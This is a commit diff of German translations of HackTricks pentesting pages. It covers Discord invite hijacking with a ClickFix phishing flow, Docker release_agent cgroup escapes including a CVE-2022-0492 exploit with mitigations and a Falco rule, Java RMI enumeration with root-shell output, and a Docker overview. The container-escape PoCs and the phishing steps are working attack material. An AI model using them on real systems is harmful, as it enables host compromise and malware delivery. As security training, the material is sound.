maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-methodologies-and-resources/phishing-methodolog

Browse Source
This commit is contained in:
Translator 2025-07-12 15:26:38 +00:00
parent 9d5f388a4c
commit d9159bcc5c
7 changed files with 153 additions and 81 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
View File

@ -6,7 +6,7 @@ Die Schwachstelle im Einladungsystem von Discord ermöglicht es Bedrohungsakteur
## Einladungsarten und Hijack-Risiko
| Einladungsart | Hijackbar? | Bedingung / Kommentare |
| Einladungsart | Hijackbar? | Bedingung / Kommentare |
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
| Temporärer Einladungslink | ✅ | Nach Ablauf wird der Code verfügbar und kann von einem boosted Server als benutzerdefinierte URL neu registriert werden. |
| Permanenter Einladungslink | ⚠️ | Wenn gelöscht und nur aus Kleinbuchstaben und Ziffern besteht, kann der Code wieder verfügbar werden. |
@ -19,21 +19,21 @@ Die Schwachstelle im Einladungsystem von Discord ermöglicht es Bedrohungsakteur
- Sammeln Sie interessante Einladungslinks (temporär oder benutzerdefiniert).
2. Vorregistrierung
- Erstellen oder verwenden Sie einen bestehenden Discord-Server mit Level 3 Boost-Rechten.
- In **Servereinstellungen → Vanity-URL** versuchen Sie, den Ziel-Einladungscode zuzuweisen. Wenn akzeptiert, wird der Code vom böswilligen Server reserviert.
- In **Servereinstellungen → Vanity-URL** versuchen Sie, den Ziel-Einladungscode zuzuweisen. Wenn akzeptiert, wird der Code vom bösartigen Server reserviert.
3. Aktivierung des Hijacks
- Warten Sie bei temporären Einladungen, bis die ursprüngliche Einladung abläuft (oder löschen Sie sie manuell, wenn Sie die Quelle kontrollieren).
- Für Codes mit Großbuchstaben kann die Kleinbuchstabenvariante sofort beansprucht werden, obwohl die Umleitung erst nach Ablauf aktiviert wird.
4. Stille Umleitung
- Benutzer, die den alten Link besuchen, werden nahtlos an den vom Angreifer kontrollierten Server weitergeleitet, sobald der Hijack aktiv ist.
- Benutzer, die den alten Link besuchen, werden nahtlos an den vom Angreifer kontrollierten Server gesendet, sobald der Hijack aktiv ist.
## Phishing-Flow über Discord-Server
1. Beschränken Sie die Serverkanäle, sodass nur ein **#verify**-Kanal sichtbar ist.
2. Setzen Sie einen Bot (z. B. **Safeguard#0786**) ein, um Neuankömmlinge zur Verifizierung über OAuth2 aufzufordern.
3. Der Bot leitet die Benutzer zu einer Phishing-Seite (z. B. `captchaguard.me`) unter dem Vorwand eines CAPTCHA- oder Verifizierungsschrittes weiter.
2. Setzen Sie einen Bot (z.B. **Safeguard#0786**) ein, um Neuankömmlinge zur Verifizierung über OAuth2 aufzufordern.
3. Der Bot leitet die Benutzer zu einer Phishing-Seite (z.B. `captchaguard.me`) unter dem Vorwand eines CAPTCHA- oder Verifizierungsschrittes um.
4. Implementieren Sie den **ClickFix** UX-Trick:
- Zeigen Sie eine fehlerhafte CAPTCHA-Nachricht an.
- Leiten Sie die Benutzer an, den **Win+R**-Dialog zu öffnen, einen vorab geladenen PowerShell-Befehl einzufügen und die Eingabetaste zu drücken.
- Leiten Sie die Benutzer an, den **Win+R**-Dialog zu öffnen, einen vorab geladenen PowerShell-Befehl einzufügen und Enter zu drücken.
### ClickFix Clipboard Injection Beispiel
```javascript
@ -55,7 +55,7 @@ Dieser Ansatz vermeidet direkte Dateidownloads und nutzt vertraute UI-Elemente,
## Referenzen
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

120
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
View File

@ -4,7 +4,9 @@
**Für weitere Details siehe den** [**originalen Blogbeitrag**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dies ist nur eine Zusammenfassung:
Original PoC:
---
## Klassische PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Der Proof of Concept (PoC) demonstriert eine Methode, um cgroups auszunutzen, indem eine `release_agent`-Datei erstellt und deren Aufruf ausgelöst wird, um beliebige Befehle auf dem Container-Host auszuführen. Hier ist eine Aufschlüsselung der beteiligten Schritte:
Die PoC missbraucht die **cgroup-v1** `release_agent` Funktion: Wenn die letzte Aufgabe eines cgroups, die `notify_on_release=1` hat, beendet wird, führt der Kernel (in den **initialen Namespaces auf dem Host**) das Programm aus, dessen Pfadname in der beschreibbaren Datei `release_agent` gespeichert ist. Da diese Ausführung mit **vollständigen Root-Rechten auf dem Host** erfolgt, reicht es aus, Schreibzugriff auf die Datei zu erhalten, um aus dem Container auszubrechen.
### Kurze, lesbare Anleitung
1. **Bereite eine neue cgroup vor**
1. **Umgebung vorbereiten:**
- Ein Verzeichnis `/tmp/cgrp` wird erstellt, um als Mount-Punkt für die cgroup zu dienen.
- Der RDMA cgroup-Controller wird in dieses Verzeichnis gemountet. Im Falle des Fehlens des RDMA-Controllers wird empfohlen, den `memory` cgroup-Controller als Alternative zu verwenden.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Richten Sie die Kind-Cgroup ein:**
- Eine Kind-Cgroup mit dem Namen "x" wird im gemounteten Cgroup-Verzeichnis erstellt.
- Benachrichtigungen sind für die "x" Cgroup aktiviert, indem 1 in die Datei notify_on_release geschrieben wird.
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # oder –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Konfigurieren Sie den Release-Agent:**
- Der Pfad des Containers auf dem Host wird aus der Datei /etc/mtab abgerufen.
- Die release_agent-Datei der cgroup wird dann so konfiguriert, dass ein Skript mit dem Namen /cmd ausgeführt wird, das sich am erlangten Host-Pfad befindet.
2. **Weise `release_agent` auf ein vom Angreifer kontrolliertes Skript auf dem Host zu**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Erstellen und Konfigurieren des /cmd-Skripts:**
- Das /cmd-Skript wird im Container erstellt und so konfiguriert, dass es ps aux ausführt und die Ausgabe in eine Datei namens /output im Container umleitet. Der vollständige Pfad von /output auf dem Host wird angegeben.
3. **Lade die Payload ab**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **Angriff auslösen:**
- Ein Prozess wird innerhalb der "x" Kind-Cgroup gestartet und sofort beendet.
- Dies löst den `release_agent` (das /cmd-Skript) aus, der ps aux auf dem Host ausführt und die Ausgabe in /output innerhalb des Containers schreibt.
4. **Trigger den Notifier**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # füge uns hinzu und verlasse sofort
cat /output # enthält jetzt Host-Prozesse
```
---
## 2022 Kernel-Sicherheitsanfälligkeit – CVE-2022-0492
Im Februar 2022 entdeckten Yiqi Sun und Kevin Wang, dass **der Kernel *keine* Berechtigungen überprüfte, wenn ein Prozess in cgroup-v1 auf `release_agent` schrieb** (Funktion `cgroup_release_agent_write`).
Effektiv **konnte jeder Prozess, der eine cgroup-Hierarchie mounten konnte (z.B. über `unshare -UrC`), einen beliebigen Pfad zu `release_agent` schreiben, ohne `CAP_SYS_ADMIN` im *initialen* Benutzernamespace**. In einem standardkonfigurierten, als Root laufenden Docker/Kubernetes-Container erlaubte dies:
* Privilegieneskalation zu Root auf dem Host; ↗
* Container-Ausbruch, ohne dass der Container privilegiert war.
Der Fehler wurde mit **CVE-2022-0492** (CVSS 7.8 / Hoch) bewertet und in den folgenden Kernel-Versionen (und allen späteren) behoben:
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Patch-Commit: `1e85af15da28 "cgroup: Fix permission checking"`.
### Minimaler Exploit innerhalb eines Containers
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Wenn der Kernel anfällig ist, wird die BusyBox-Binärdatei vom *Host* mit vollem Root-Recht ausgeführt.
### Härtung & Minderung
* **Kernel aktualisieren** (≥ Versionen darüber). Der Patch erfordert jetzt `CAP_SYS_ADMIN` im *initialen* Benutzernamespace, um auf `release_agent` zu schreiben.
* **Bevorzugen Sie cgroup-v2** – die einheitliche Hierarchie **hat die `release_agent`-Funktion vollständig entfernt**, wodurch diese Klasse von Ausbrüchen eliminiert wird.
* **Deaktivieren Sie unprivilegierte Benutzernamespaces** auf Hosts, die sie nicht benötigen:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Zwangszugriffskontrolle**: AppArmor/SELinux-Richtlinien, die `mount`, `openat` auf `/sys/fs/cgroup/**/release_agent` verweigern oder `CAP_SYS_ADMIN` entziehen, stoppen die Technik selbst auf anfälligen Kernen.
* **Schreibgeschützter Bind-Mask** für alle `release_agent`-Dateien (Palo Alto-Skriptbeispiel):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Erkennung zur Laufzeit
[`Falco`](https://falco.org/) liefert seit v0.32 eine integrierte Regel:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Die Regel wird bei jedem Schreibversuch auf `*/release_agent` von einem Prozess innerhalb eines Containers ausgelöst, der weiterhin `CAP_SYS_ADMIN` besitzt.
## References
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detaillierte Analyse und Minderungsskript.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

36
src/network-services-pentesting/1099-pentesting-java-rmi.md
View File

@ -14,20 +14,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Normalerweise sind nur die Standard-_Java RMI_-Komponenten (das _RMI-Registry_ und das _Activation System_) an gängigen Ports gebunden. Die _remote objects_, die die tatsächliche _RMI_-Anwendung implementieren, sind normalerweise an zufällige Ports gebunden, wie im obigen Output gezeigt.
Normalerweise sind nur die Standard-_Java RMI_-Komponenten (das _RMI Registry_ und das _Activation System_) an gängigen Ports gebunden. Die _remote objects_, die die tatsächliche _RMI_-Anwendung implementieren, sind normalerweise an zufällige Ports gebunden, wie im obigen Output gezeigt.
_nmap_ hat manchmal Schwierigkeiten, _SSL_-geschützte _RMI_-Dienste zu identifizieren. Wenn Sie auf einen unbekannten SSL-Dienst an einem gängigen _RMI_-Port stoßen, sollten Sie weiter untersuchen.
_nmap_ hat manchmal Schwierigkeiten, _SSL_-geschützte _RMI_-Dienste zu identifizieren. Wenn Sie auf einen unbekannten SSL-Dienst an einem gängigen _RMI_-Port stoßen, sollten Sie weitere Untersuchungen anstellen.
## RMI-Komponenten
Einfach ausgedrückt, ermöglicht _Java RMI_ einem Entwickler, ein _Java-Objekt_ im Netzwerk verfügbar zu machen. Dies öffnet einen _TCP_-Port, über den Clients eine Verbindung herstellen und Methoden auf dem entsprechenden Objekt aufrufen können. Obwohl dies einfach klingt, gibt es mehrere Herausforderungen, die _Java RMI_ lösen muss:
Um es einfach auszudrücken, ermöglicht _Java RMI_ einem Entwickler, ein _Java-Objekt_ im Netzwerk verfügbar zu machen. Dies öffnet einen _TCP_-Port, über den Clients eine Verbindung herstellen und Methoden auf dem entsprechenden Objekt aufrufen können. Obwohl das einfach klingt, gibt es mehrere Herausforderungen, die _Java RMI_ lösen muss:
1. Um einen Methodenaufruf über _Java RMI_ zu versenden, müssen die Clients die IP-Adresse, den lauschernden Port, die implementierte Klasse oder Schnittstelle und die `ObjID` des Zielobjekts kennen (die `ObjID` ist ein eindeutiger und zufälliger Identifikator, der erstellt wird, wenn das Objekt im Netzwerk verfügbar gemacht wird. Sie ist erforderlich, da _Java RMI_ mehreren Objekten erlaubt, auf demselben _TCP_-Port zu lauschen).
2. Remote-Clients können Ressourcen auf dem Server zuweisen, indem sie Methoden auf dem exponierten Objekt aufrufen. Die _Java Virtual Machine_ muss verfolgen, welche dieser Ressourcen noch verwendet werden und welche davon gesammelt werden können.
1. Um einen Methodenaufruf über _Java RMI_ zu dispatchen, müssen die Clients die IP-Adresse, den lauscher Port, die implementierte Klasse oder Schnittstelle und die `ObjID` des Zielobjekts kennen (die `ObjID` ist ein eindeutiger und zufälliger Identifikator, der erstellt wird, wenn das Objekt im Netzwerk verfügbar gemacht wird. Sie ist erforderlich, da _Java RMI_ mehreren Objekten erlaubt, am selben _TCP_-Port zu lauschen).
2. Remote-Clients können Ressourcen auf dem Server zuweisen, indem sie Methoden auf dem exponierten Objekt aufrufen. Die _Java Virtual Machine_ muss verfolgen, welche dieser Ressourcen noch verwendet werden und welche davon garbage collected werden können.
Die erste Herausforderung wird durch das _RMI-Registry_ gelöst, das im Grunde ein Namensdienst für _Java RMI_ ist. Das _RMI-Registry_ selbst ist auch ein _RMI-Dienst_, aber die implementierte Schnittstelle und die `ObjID` sind fest und allen _RMI_-Clients bekannt. Dies ermöglicht es _RMI_-Clients, das _RMI-Registry_ zu nutzen, indem sie nur den entsprechenden _TCP_-Port kennen.
Die erste Herausforderung wird durch das _RMI Registry_ gelöst, das im Grunde ein Namensdienst für _Java RMI_ ist. Das _RMI Registry_ selbst ist ebenfalls ein _RMI-Dienst_, aber die implementierte Schnittstelle und die `ObjID` sind fest und allen _RMI_-Clients bekannt. Dies ermöglicht es _RMI_-Clients, das _RMI Registry_ zu nutzen, indem sie nur den entsprechenden _TCP_-Port kennen.
Wenn Entwickler ihre _Java-Objekte_ im Netzwerk verfügbar machen möchten, binden sie sie normalerweise an ein _RMI-Registry_. Das _Registry_ speichert alle Informationen, die erforderlich sind, um eine Verbindung zum Objekt herzustellen (IP-Adresse, lauschernder Port, implementierte Klasse oder Schnittstelle und den `ObjID`-Wert) und macht sie unter einem menschenlesbaren Namen (dem _gebundenen Namen_) verfügbar. Clients, die den _RMI-Dienst_ nutzen möchten, fragen das _RMI-Registry_ nach dem entsprechenden _gebundenen Namen_, und das Registry gibt alle erforderlichen Informationen zur Verbindung zurück. Somit ist die Situation im Grunde die gleiche wie bei einem gewöhnlichen _DNS_-Dienst. Die folgende Auflistung zeigt ein kleines Beispiel:
Wenn Entwickler ihre _Java-Objekte_ im Netzwerk verfügbar machen möchten, binden sie sie normalerweise an ein _RMI Registry_. Das _Registry_ speichert alle Informationen, die erforderlich sind, um eine Verbindung zum Objekt herzustellen (IP-Adresse, lauscher Port, implementierte Klasse oder Schnittstelle und den `ObjID`-Wert) und macht sie unter einem menschenlesbaren Namen (dem _bound name_) verfügbar. Clients, die den _RMI-Dienst_ nutzen möchten, fragen das _RMI Registry_ nach dem entsprechenden _bound name_, und das Registry gibt alle erforderlichen Informationen zur Verbindung zurück. Somit ist die Situation im Grunde die gleiche wie bei einem gewöhnlichen _DNS_-Dienst. Die folgende Auflistung zeigt ein kleines Beispiel:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -51,7 +51,7 @@ e.printStackTrace();
}
}
```
Die zweite der oben genannten Herausforderungen wird durch den _Distributed Garbage Collector_ (_DGC_) gelöst. Dies ist ein weiterer _RMI service_ mit einem bekannten `ObjID`-Wert und er ist grundsätzlich an jedem _RMI endpoint_ verfügbar. Wenn ein _RMI client_ beginnt, einen _RMI service_ zu nutzen, sendet er eine Information an den _DGC_, dass das entsprechende _remote object_ in Gebrauch ist. Der _DGC_ kann dann die Referenzanzahl verfolgen und ist in der Lage, ungenutzte Objekte zu bereinigen.
Die zweite der oben genannten Herausforderungen wird durch den _Distributed Garbage Collector_ (_DGC_) gelöst. Dies ist ein weiterer _RMI service_ mit einem bekannten `ObjID`-Wert und er ist im Grunde an jedem _RMI endpoint_ verfügbar. Wenn ein _RMI client_ beginnt, einen _RMI service_ zu nutzen, sendet er eine Information an den _DGC_, dass das entsprechende _remote object_ in Gebrauch ist. Der _DGC_ kann dann die Referenzanzahl verfolgen und ist in der Lage, ungenutzte Objekte zu bereinigen.
Zusammen mit dem veralteten _Activation System_ sind dies die drei Standardkomponenten von _Java RMI_:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
```
Die Ausgabe der Enumerationsaktion wird in den [Dokumentationsseiten](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) des Projekts näher erläutert. Je nach Ergebnis sollten Sie versuchen, identifizierte Schwachstellen zu überprüfen.
Die angezeigten `ObjID`-Werte von _remote-method-guesser_ können verwendet werden, um die Betriebszeit des Dienstes zu bestimmen. Dies kann helfen, andere Schwachstellen zu identifizieren:
Die `ObjID`-Werte, die von _remote-method-guesser_ angezeigt werden, können verwendet werden, um die Betriebszeit des Dienstes zu bestimmen. Dies kann helfen, andere Schwachstellen zu identifizieren:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Bruteforcing Remote Methods
Selbst wenn während der Enumeration keine Schwachstellen identifiziert wurden, könnten die verfügbaren _RMI_ Dienste dennoch gefährliche Funktionen offenbaren. Darüber hinaus ist die Kommunikation über _RMI_ zu den _RMI_ Standardkomponenten zwar durch Deserialisierungsfilter geschützt, jedoch sind solche Filter bei der Kommunikation mit benutzerdefinierten _RMI_ Diensten normalerweise nicht vorhanden. Daher ist es wertvoll, gültige Methodensignaturen für _RMI_ Dienste zu kennen.
Selbst wenn während der Enumeration keine Schwachstellen identifiziert wurden, könnten die verfügbaren _RMI_ Dienste dennoch gefährliche Funktionen offenbaren. Darüber hinaus ist die _RMI_ Kommunikation zu _RMI_ Standardkomponenten zwar durch Deserialisierungsfilter geschützt, jedoch sind solche Filter bei benutzerdefinierten _RMI_ Diensten normalerweise nicht vorhanden. Daher ist es wertvoll, gültige Methodensignaturen auf _RMI_ Diensten zu kennen.
Leider unterstützt _Java RMI_ nicht die Enumeration von Methoden auf _remote objects_. Das gesagt, ist es möglich, Methodensignaturen mit Tools wie [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) oder [rmiscout](https://github.com/BishopFox/rmiscout) zu bruteforcen:
```
@ -198,18 +198,18 @@ Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Weitere Informationen finden Sie in diesen Artikeln:
Mehr Informationen finden Sie in diesen Artikeln:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Neben dem Raten sollten Sie auch in Suchmaschinen oder _GitHub_ nach der Schnittstelle oder sogar der Implementierung eines gefundenen _RMI_ Dienstes suchen. Der _gebundene Name_ und der Name der implementierten Klasse oder Schnittstelle können hierbei hilfreich sein.
Neben dem Raten sollten Sie auch in Suchmaschinen oder _GitHub_ nach der Schnittstelle oder sogar der Implementierung eines angetroffenen _RMI_ Dienstes suchen. Der _gebundene Name_ und der Name der implementierten Klasse oder Schnittstelle können hierbei hilfreich sein.
## Bekannte Schnittstellen
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kennzeichnet Klassen oder Schnittstellen als `known`, wenn sie in der internen Datenbank des Tools für bekannte _RMI services_ aufgeführt sind. In diesen Fällen können Sie die `known`-Aktion verwenden, um weitere Informationen zum entsprechenden _RMI service_ zu erhalten:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kennzeichnet Klassen oder Schnittstellen als `known`, wenn sie in der internen Datenbank des Tools für bekannte _RMI-Dienste_ aufgeführt sind. In diesen Fällen können Sie die `known`-Aktion verwenden, um weitere Informationen zum entsprechenden _RMI-Dienst_ zu erhalten:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan

34
src/network-services-pentesting/2375-pentesting-docker.md
View File

@ -13,7 +13,7 @@ Docker ist die **führende Plattform** in der **Containerisierungsbranche**, die
- [**containerd**](http://containerd.io): Dies ist eine **Kernlaufzeit** für Container, die mit dem umfassenden **Management des Lebenszyklus eines Containers** betraut ist. Dies umfasst die Handhabung von **Bildübertragung und -speicherung** sowie die Überwachung der **Ausführung, Überwachung und Vernetzung** von Containern. **Detailliertere Einblicke** in containerd werden **weiter erkundet**.
- Der **container-shim** spielt eine entscheidende Rolle als **Vermittler** bei der Handhabung von **headless containers** und übernimmt nahtlos von **runc**, nachdem die Container initialisiert wurden.
- [**runc**](http://runc.io): Geschätzt für seine **leichte und universelle Containerlaufzeit**-Fähigkeiten, ist runc mit dem **OCI-Standard** konform. Es wird von containerd verwendet, um **Container zu starten und zu verwalten** gemäß den **OCI-Richtlinien**, nachdem es sich aus dem ursprünglichen **libcontainer** entwickelt hat.
- [**grpc**](http://www.grpc.io) ist entscheidend für die **Erleichterung der Kommunikation** zwischen containerd und der **docker-engine**, um eine **effiziente Interaktion** zu gewährleisten.
- [**grpc**](http://www.grpc.io) ist entscheidend für die **Erleichterung der Kommunikation** zwischen containerd und der **docker-engine** und sorgt für eine **effiziente Interaktion**.
- Die [**OCI**](https://www.opencontainers.org) ist entscheidend für die Aufrechterhaltung der **OCI-Spezifikationen** für Laufzeiten und Bilder, wobei die neuesten Docker-Versionen **konform mit den OCI-Bild- und Laufzeitstandards** sind.
#### Grundlegende Befehle
@ -41,9 +41,9 @@ docker system prune -a
```
#### Containerd
**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Containerplattformen wie **Docker und Kubernetes** zu bedienen. Es zielt darauf ab, **die Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.
**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Containerplattformen wie **Docker und Kubernetes** zu erfüllen. Es zielt darauf ab, **die Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.
Eine wichtige Designentscheidung ist, dass **Containerd kein Networking** behandelt. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Dienstentdeckung, die von Plattform zu Plattform erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt.
Eine wichtige Designentscheidung ist, dass **Containerd kein Networking** behandelt. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Dienstentdeckung, die sich erheblich von einer Plattform zur anderen unterscheiden. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt.
Während **Docker Containerd nutzt**, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur eine Teilmenge der Funktionen von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkmanagementfähigkeiten, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker-Schwärmen. Diese Unterscheidung hebt die fokussierte Rolle von Containerd als Container-Laufzeitumgebung hervor, die spezialisiertere Funktionen an die Plattformen delegiert, mit denen es integriert ist.
```bash
@ -63,19 +63,19 @@ ctr container delete <containerName>
```
#### Podman
**Podman** ist eine Open-Source-Container-Engine, die den [Open Container Initiative (OCI) Standards](https://github.com/opencontainers) entspricht und von Red Hat entwickelt und gepflegt wird. Es hebt sich von Docker durch mehrere distinct Merkmale ab, insbesondere durch seine **daemonlose Architektur** und die Unterstützung für **rootlose Container**, die es Benutzern ermöglicht, Container ohne Root-Rechte auszuführen.
**Podman** ist eine Open-Source-Container-Engine, die den [Open Container Initiative (OCI) Standards](https://github.com/opencontainers) entspricht und von Red Hat entwickelt und gewartet wird. Es hebt sich von Docker durch mehrere distinct Merkmale ab, insbesondere durch seine **daemonlose Architektur** und die Unterstützung für **rootlose Container**, die es Benutzern ermöglicht, Container ohne Root-Rechte auszuführen.
Podman ist so konzipiert, dass es mit der Docker-API kompatibel ist, was die Verwendung von Docker-CLI-Befehlen ermöglicht. Diese Kompatibilität erstreckt sich auf sein Ökosystem, das Tools wie **Buildah** zum Erstellen von Container-Images und **Skopeo** für Bildoperationen wie Push, Pull und Inspect umfasst. Weitere Details zu diesen Tools finden Sie auf ihrer [GitHub-Seite](https://github.com/containers/buildah/tree/master/docs/containertools).
**Wesentliche Unterschiede**
- **Architektur**: Im Gegensatz zum Client-Server-Modell von Docker mit einem Hintergrund-Daemon arbeitet Podman ohne Daemon. Dieses Design bedeutet, dass Container mit den Rechten des Benutzers ausgeführt werden, der sie startet, was die Sicherheit erhöht, da Root-Zugriff nicht erforderlich ist.
- **Systemd-Integration**: Podman integriert sich mit **systemd**, um Container zu verwalten, was die Containerverwaltung über systemd-Einheiten ermöglicht. Dies steht im Gegensatz zur Verwendung von systemd durch Docker, das hauptsächlich zur Verwaltung des Docker-Daemon-Prozesses dient.
